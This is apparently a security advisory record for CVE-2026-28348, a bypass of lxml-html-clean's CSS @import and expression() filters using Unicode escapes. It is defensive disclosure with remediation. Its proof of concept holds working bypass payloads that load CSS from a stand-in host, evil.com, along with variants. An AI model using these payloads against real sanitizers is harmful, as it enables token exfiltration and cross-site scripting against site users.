{"id":"CVE-2026-28348","aliases":["GHSA-hw26-mmpg-fqfg","PYSEC-2026-2201"],"title":"lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes","summary":"lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes","severity":"medium","cvss":6.1,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","vendor":"lxml-html-clean","product":"lxml-html-clean","ecosystem":"pip","affected":["lxml-html-clean < 0.4.4"],"patched":["lxml-html-clean 0.4.4"],"published":"2026-03-02","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:39.674211658Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-hw26-mmpg-fqfg","references":[{"url":"https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-hw26-mmpg-fqfg"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28348"},{"url":"https://github.com/fedora-python/lxml_html_clean/commit/2ef732667ddbc74ea59847bcf24b75809aaeed3b"},{"url":"https://github.com/fedora-python/lxml_html_clean"}],"tags":["osv","pip"],"epss":0.00228,"epssPercentile":0.13822,"ingestedAt":"2026-07-13T18:57:59.524Z","slug":"CVE-2026-28348","body":"## Overview\n\n### Summary\nThe `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.\n\n### Details\nThe root cause is located in `clean.py` (around line 594):\n```python\nstyle = style.replace('\\\\', '')\n```\nThis transformation changes a payload like `@\\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\\69mport` as a valid `@import` statement.\n\nSame root cause bypasses `expression()` detection: `\\65xpression(alert(1))` passes through (IE only).\n\n### PoC\n```python\nfrom lxml_html_clean import clean_html\n\n# Normal @import is correctly blocked:\n# clean_html('<style>@import url(\"http://evil.com/x.css\");</style>')\n# Output: <div><style> url(\"http://evil.com/x.css\");</style></div>\n\n# Unicode escape bypass:\nresult = clean_html('<style>@\\\\69mport url(\"http://evil.com/x.css\");</style>')\nprint(result)\n# Output: <div><style>@\\69mport url(\"http://evil.com/x.css\");</style></div>\n```\nIf rendered in a browser, the browser loads the external CSS. Variants like `@\\0069mport`, `@\\69 mport` (trailing space), and `@\\49mport` (uppercase I) also work.\n\n### Impact\nExternal CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.\n\n## Affected packages\n\n- `lxml-html-clean < 0.4.4`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `lxml-html-clean 0.4.4`","depth":"sunlit","depthScore":34,"depthScoreParts":{"impact":33.6,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}